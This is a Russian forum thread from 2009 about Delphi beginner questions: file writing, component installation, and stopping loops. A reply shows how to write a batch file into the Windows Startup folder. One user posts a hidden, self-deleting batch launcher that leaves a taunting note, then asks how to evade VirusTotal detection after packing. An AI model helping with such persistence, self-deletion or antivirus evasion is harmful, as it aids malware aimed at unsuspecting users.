ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

22.02.2009, 17:57
|
|
Познающий
Регистрация: 20.12.2008
Сообщений: 76
Провел на форуме: 432982
Репутация:
6
|
|
Сообщение от KIR@PRO
убил)))
Какой вопрос, такой ответ =)
P.S. мой вопрос еще актуален
|
|
|

22.02.2009, 18:05
|
|
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме: 382668
Репутация:
49
|
|
Сообщение от search74
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
f: TextFile;
fName: String[80];
begin
fName := '1.txt;
AssignFile(f, fName);
Rewrite(f);
writeln(f, 'Твое сообщение');
CloseFile(f);
MessageDlg('сообщение записанов в файл 1.txt',mtInformation,[mbOk],0);
end;
Как мне сделать чтоб в другую дирекорию(папку) записывался файл тхт
|
|
|

22.02.2009, 18:08
|
|
Новичок
Регистрация: 17.06.2008
Сообщений: 22
Провел на форуме: 260558
Репутация:
52
|
|
Сообщение от bogger
Как мне сделать чтоб в другую дирекорию(папку) записывался файл тхт
В какую тебе надо?
|
|
|

22.02.2009, 18:10
|
|
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме: 382668
Репутация:
49
|
|
Сообщение от Maxxxtri23
Скачать в яндексе или гугле, а устанавливать так:
1. Tools--->Inviroment options--->library--->library path--->add--->и указываешь путь до компонента распакованного.
2. в Папке с компонентом есть файл .dpk, ты его запускаешь и жмешь compile---->install.
3. Все, если прогло все без ошибок, то компонент поставится и будет на одной и вкладок палитры, зависит о компонента
А если нету файла .dpk в папке с компанентом?!
|
|
|

22.02.2009, 18:12
|
|
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме: 382668
Репутация:
49
|
|
Сообщение от search74
В какую тебе надо?
Да любую например в Windows.
И еще есть пример как батник создать и чтоб он автоматом грузился ?
|
|
|

22.02.2009, 18:26
|
|
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
Провел на форуме: 905389
Репутация:
332
|
|
Сообщение от bogger
Как мне сделать чтоб в другую дирекорию(папку) записывался файл тхт
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
f: TextFile;
fName: String[80];
begin
fName := 'C:\1.txt'; //здесь прописываеш путь к ффайлу и усе... если пишеш только название файла то используется дириктория от куда запущена программа
AssignFile(f, fName);
Rewrite(f);
writeln(f, 'Твое сообщение');
CloseFile(f);
MessageDlg('сообщение записанов в файл 1.txt',mtInformation,[mbOk],0);
end;
чтоб в батник записать вместо '1.txt' пишеш '1.bat' чтоб в месте с виндой запускался можеш записать его сразу в
fName :='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а\1.bat'
но это только при условии что винда у него на C:\ стоит
p.s. вообще не пойму зачем тут надо было вводить переменную fName лишнее все ето просто прописал бы AssignFile(f, '1.txt'); и тебе на 2 строчки писать меньше и прога лишнее место в оперативке занимать под переменную небудет....
Последний раз редактировалось KIR@PRO; 22.02.2009 в 18:52..
|
|
|

22.02.2009, 18:56
|
|
Познающий
Регистрация: 19.08.2008
Сообщений: 69
Провел на форуме: 458484
Репутация:
31
|
|
Есть довольно громоздкое событие TForm1.Button3Click
там задание выполняется приблизительно 7 минут.... плюс цыкл
Вдруг посреди выполнения мне стукнуло в голову остановить выполнение задачи Как например создать кнопку "стоп" для Button3?
|
|
|

22.02.2009, 19:26
|
|
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме: 382668
Репутация:
49
|
|
Код:
var
f: TextFile;
fName: String[80];
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
fName := 'C:\windows\Послание.txt'; //здесь прописываеш путь к файлу
AssignFile(f, fName);
Rewrite(f);
writeln(f, 'LOL clear del C:/);
CloseFile(f);
{ создаём бат-файл в директории приложения }
BatchFileName :='C:\windows\log.bat';
{ открываем и записываем в файл }
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, ':try');
//Writeln(BatchFile, 'del "Любой путь"');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del "' + BatchFileName + '"');
CloseFile(BatchFile);
begin
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
Дело в следующем компилю эту прогу и помещаю её в папку с "русским" названием xDD запускаю от-туда
а она неработает что можно сделать?
|
|
|

22.02.2009, 19:38
|
|
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме: 382668
Репутация:
49
|
|
Блин виртотал палит этот код 2 раза xDDD
http://www.virustotal.com/ru/analisis/2dd0919e128c296a42cd7441ec6faa58
А вот после АСпака палится 4 раза
http://www.virustotal.com/ru/analisis/23c774360ce8cffb8e7218f1de6bd8d6
Подскажите как исправить? )
|
|
|

22.02.2009, 19:40
|
|
Участник форума
Регистрация: 15.11.2006
Сообщений: 259
Провел на форуме: 2589211
Репутация:
151
|
|
Сообщение от Uname-A
Есть довольно громоздкое событие TForm1.Button3Click
там задание выполняется приблизительно 7 минут.... плюс цыкл
Вдруг посреди выполнения мне стукнуло в голову остановить выполнение задачи Как например создать кнопку "стоп" для Button3?
К примеру, чтоб цикл остановить
Код:
var s:boolean;
....
procedure TForm1.Button1Click(Sender: TObject);
var i:integer;
begin
s:=true; {проверяем условие}
for i:=1 to 100000 do begin
if s then sleep(100);
application.ProcessMessages; {делаем программу доступной для получения сообщений}
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
s:=false;
end;
Т.е. добавляем где-нибудь в теле application.ProcessMessages , ну а дальше сам решай, как остановить действо 
Последний раз редактировалось FindeR; 22.02.2009 в 19:46..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|